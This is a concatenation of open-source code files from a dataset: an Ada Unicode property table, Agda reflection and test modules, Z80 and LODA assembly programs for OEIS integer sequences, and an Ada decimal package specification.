Other, A_Letter, Lower, Alphabetic,
(Diacritic
| Other_Lowercase
| Alphabetic
| Cased
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#C2# .. 16#C3# => -- 02C2 .. 02C3
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#C4# => -- 02C4
(Modifier_Symbol, Ambiguous,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#C5# => -- 02C5
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#C6# => -- 02C6
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#C7# => -- 02C7
(Modifier_Letter, Ambiguous,
Other, A_Letter, O_Letter, Ambiguous,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#C8# => -- 02C8
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Break_Before,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#C9# .. 16#CB# => -- 02C9 .. 02CB
(Modifier_Letter, Ambiguous,
Other, A_Letter, O_Letter, Ambiguous,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#CC# => -- 02CC
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Break_Before,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#CD# => -- 02CD
(Modifier_Letter, Ambiguous,
Other, A_Letter, O_Letter, Ambiguous,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#CE# .. 16#CF# => -- 02CE .. 02CF
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#D0# => -- 02D0
(Modifier_Letter, Ambiguous,
Other, A_Letter, O_Letter, Ambiguous,
(Diacritic
| Extender
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#D1# => -- 02D1
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Extender
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#D2# .. 16#D6# => -- 02D2 .. 02D6
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#D7# => -- 02D7
(Modifier_Symbol, Neutral,
Other, Mid_Letter, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#D8# .. 16#DB# => -- 02D8 .. 02DB
(Modifier_Symbol, Ambiguous,
Other, Other, Other, Ambiguous,
(Diacritic
| Case_Ignorable
| Grapheme_Base
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#DC# => -- 02DC
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#DD# => -- 02DD
(Modifier_Symbol, Ambiguous,
Other, Other, Other, Ambiguous,
(Diacritic
| Case_Ignorable
| Grapheme_Base
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#DE# => -- 02DE
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#DF# => -- 02DF
(Modifier_Symbol, Ambiguous,
Other, Other, Other, Break_Before,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#E0# .. 16#E4# => -- 02E0 .. 02E4
(Modifier_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Diacritic
| Other_Lowercase
| Alphabetic
| Cased
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#E5# .. 16#EB# => -- 02E5 .. 02EB
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#EC# => -- 02EC
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#ED# => -- 02ED
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
16#EE# => -- 02EE
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#EF# .. 16#FF# => -- 02EF .. 02FF
(Modifier_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Diacritic
| Case_Ignorable
| Grapheme_Base => True,
others => False)),
others =>
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)));
end Matreshka.Internals.Unicode.Ucd.Core_0002;
|
agda-stdlib/src/Reflection/Pattern.agda
|
DreamLinuxer/popl21-artifact
| 5 |
542
|
------------------------------------------------------------------------
-- The Agda standard library
--
-- Patterns used in the reflection machinery
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Reflection.Pattern where
open import Data.List.Base hiding (_++_)
open import Data.List.Properties
open import Data.Product
open import Data.String as String using (String; braces; parens; _++_; _<+>_)
import Reflection.Literal as Literal
import Reflection.Name as Name
open import Relation.Nullary
open import Relation.Nullary.Decidable as Dec
open import Relation.Nullary.Product using (_×-dec_)
open import Relation.Binary
open import Relation.Binary.PropositionalEquality
open import Reflection.Argument
open import Reflection.Argument.Visibility using (Visibility); open Visibility
open import Reflection.Argument.Relevance using (Relevance); open Relevance
open import Reflection.Argument.Information using (ArgInfo); open ArgInfo
------------------------------------------------------------------------
-- Re-exporting the builtin type and constructors
open import Agda.Builtin.Reflection public using (Pattern)
open Pattern public
------------------------------------------------------------------------
-- Decidable equality
con-injective₁ : ∀ {c c′ args args′} → con c args ≡ con c′ args′ → c ≡ c′
con-injective₁ refl = refl
con-injective₂ : ∀ {c c′ args args′} → con c args ≡ con c′ args′ → args ≡ args′
con-injective₂ refl = refl
con-injective : ∀ {c c′ args args′} → con c args ≡ con c′ args′ → c ≡ c′ × args ≡ args′
con-injective = < con-injective₁ , con-injective₂ >
var-injective : ∀ {x y} → var x ≡ var y → x ≡ y
var-injective refl = refl
lit-injective : ∀ {x y} → Pattern.lit x ≡ lit y → x ≡ y
lit-injective refl = refl
proj-injective : ∀ {x y} → proj x ≡ proj y → x ≡ y
proj-injective refl = refl
_≟s_ : Decidable (_≡_ {A = Args Pattern})
_≟_ : Decidable (_≡_ {A = Pattern})
con c ps ≟ con c′ ps′ = Dec.map′ (uncurry (cong₂ con)) con-injective (c Name.≟ c′ ×-dec ps ≟s ps′)
var s ≟ var s′ = Dec.map′ (cong var) var-injective (s String.≟ s′)
lit l ≟ lit l′ = Dec.map′ (cong lit) lit-injective (l Literal.≟ l′)
proj a ≟ proj a′ = Dec.map′ (cong proj) proj-injective (a Name.≟ a′)
con x x₁ ≟ dot = no (λ ())
con x x₁ ≟ var x₂ = no (λ ())
con x x₁ ≟ lit x₂ = no (λ ())
con x x₁ ≟ proj x₂ = no (λ ())
con x x₁ ≟ absurd = no (λ ())
dot ≟ con x x₁ = no (λ ())
dot ≟ dot = yes refl
dot ≟ var x = no (λ ())
dot ≟ lit x = no (λ ())
dot ≟ proj x = no (λ ())
dot ≟ absurd = no (λ ())
var s ≟ con x x₁ = no (λ ())
var s ≟ dot = no (λ ())
var s ≟ lit x = no (λ ())
var s ≟ proj x = no (λ ())
var s ≟ absurd = no (λ ())
lit x ≟ con x₁ x₂ = no (λ ())
lit x ≟ dot = no (λ ())
lit x ≟ var _ = no (λ ())
lit x ≟ proj x₁ = no (λ ())
lit x ≟ absurd = no (λ ())
proj x ≟ con x₁ x₂ = no (λ ())
proj x ≟ dot = no (λ ())
proj x ≟ var _ = no (λ ())
proj x ≟ lit x₁ = no (λ ())
proj x ≟ absurd = no (λ ())
absurd ≟ con x x₁ = no (λ ())
absurd ≟ dot = no (λ ())
absurd ≟ var _ = no (λ ())
absurd ≟ lit x = no (λ ())
absurd ≟ proj x = no (λ ())
absurd ≟ absurd = yes refl
[] ≟s [] = yes refl
(arg i p ∷ xs) ≟s (arg j q ∷ ys) = ∷-dec (unArg-dec (p ≟ q)) (xs ≟s ys)
[] ≟s (_ ∷ _) = no λ()
(_ ∷ _) ≟s [] = no λ()
|
libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc_iy/zx_cyx2aaddr_callee.asm
|
meesokim/z88dk
| 0 |
80660
|
; void *zx_cyx2aaddr_callee(uchar row, uchar col)
SECTION code_arch
PUBLIC _zx_cyx2aaddr_callee, l0_zx_cyx2aaddr_callee
_zx_cyx2aaddr_callee:
pop hl
pop de
ex (sp),hl
l0_zx_cyx2aaddr_callee:
ld h,e
INCLUDE "arch/zx/display/z80/asm_zx_cyx2aaddr.asm"
|
programs/oeis/186/A186682.asm
|
jmorken/loda
| 1 |
11520
|
<filename>programs/oeis/186/A186682.asm
; A186682: Total number of positive integers below 10^n requiring 18 positive biquadrates in their representation as sum of biquadrates.
; 0,2,19,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24
mov $2,$0
sub $2,1
mov $4,$0
mul $0,2
mov $1,$0
lpb $2
lpb $4
trn $0,3
add $3,8
mul $3,2
trn $4,$3
lpe
mov $1,$3
add $1,$0
add $1,2
sub $2,1
mov $3,3
add $4,6
lpe
|
programs/oeis/061/A061503.asm
|
neoneye/loda
| 22 |
243491
|
; A061503: a(n) = Sum_{k=1..n} tau(k^2), where tau is the number of divisors function A000005.
; 1,4,7,12,15,24,27,34,39,48,51,66,69,78,87,96,99,114,117,132,141,150,153,174,179,188,195,210,213,240,243,254,263,272,281,306,309,318,327,348,351,378,381,396,411,420,423,450,455,470,479,494,497,518,527,548,557,566,569,614,617,626,641,654,663,690,693,708,717,744,747,782,785,794,809,824,833,860,863,890,899,908,911,956,965,974,983,1004,1007,1052,1061,1076,1085,1094,1103,1136,1139,1154,1169,1194
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
seq $0,146564 ; a(n) is the number of solutions of the equation k*n/(k-n) = c. k,c integers.
mov $3,$0
div $3,3
mul $3,2
add $3,1
add $1,$3
lpe
mov $0,$1
|
test/Succeed/Issue2487-2.agda
|
shlevy/agda
| 2 |
15980
|
<filename>test/Succeed/Issue2487-2.agda
{-# OPTIONS --cubical --prop #-}
module Issue2487-2 where
import Issue2487.Infective
|
programs/oeis/004/A004776.asm
|
karttu/loda
| 0 |
5541
|
<reponame>karttu/loda
; A004776: Numbers not congruent to 5 (mod 8).
; 0,1,2,3,4,6,7,8,9,10,11,12,14,15,16,17,18,19,20,22,23,24,25,26,27,28,30,31,32,33,34,35,36,38,39,40,41,42,43,44,46,47,48,49,50,51,52,54,55,56,57,58,59,60,62,63,64,65,66,67,68,70,71,72,73,74,75,76,78
mul $0,8
mov $1,$0
add $1,2
div $1,7
|
ada-decimal.ads
|
mgrojo/adalib
| 15 |
18240
|
<gh_stars>10-100
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.Decimal is
pragma Pure (Decimal);
Max_Scale : constant := implementation_defined;
Min_Scale : constant := implementation_defined;
Min_Delta : constant := 10.0**(-Max_Scale);
Max_Delta : constant := 10.0**(-Min_Scale);
Max_Decimal_Digits : constant := implementation_defined;
generic
type Dividend_Type is delta <> digits <>;
type Divisor_Type is delta <> digits <>;
type Quotient_Type is delta <> digits <>;
type Remainder_Type is delta <> digits <>;
procedure Divide (Dividend : in Dividend_Type;
Divisor : in Divisor_Type;
Quotient : out Quotient_Type;
Remainder : out Remainder_Type);
pragma Convention (Intrinsic, Divide);
end Ada.Decimal;
|
programs/oeis/236/A236632.asm
|
neoneye/loda
| 22 |
5799
|
<reponame>neoneye/loda
; A236632: Sum of all divisors of all positive integers <= n minus the total number of divisors of all positive integers <= n.
; 0,1,3,7,11,19,25,36,46,60,70,92,104,124,144,170,186,219,237,273,301,333,355,407,435,473,509,559,587,651,681,738,782,832,876,958,994,1050,1102,1184,1224,1312,1354,1432,1504,1572,1618,1732,1786,1873,1941,2033,2085,2197,2265,2377,2453,2539,2597,2753,2813,2905,3003,3123,3203,3339,3405,3525,3617,3753,3823,4006,4078,4188,4306,4440,4532,4692,4770,4946,5062,5184,5266,5478,5582,5710,5826,5998,6086,6308,6416,6578,6702,6842,6958,7198,7294,7459,7609,7817
lpb $0
mov $2,$0
sub $0,1
seq $2,65608 ; Sum of divisors of n minus the number of divisors of n.
add $1,$2
lpe
mov $0,$1
|
programs/oeis/283/A283149.asm
|
karttu/loda
| 0 |
3367
|
; A283149: Largest k such that (p-1)! == -1 (mod p^k), where p = prime(n).
; 1,1,2,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1
lpb $0,1
mod $0,100
sub $0,3
bin $0,2
mov $2,2
mov $3,$0
trn $0,4860
div $3,-1
sub $2,$3
mov $1,$2
mul $1,2
cmp $1,6
lpe
add $1,1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.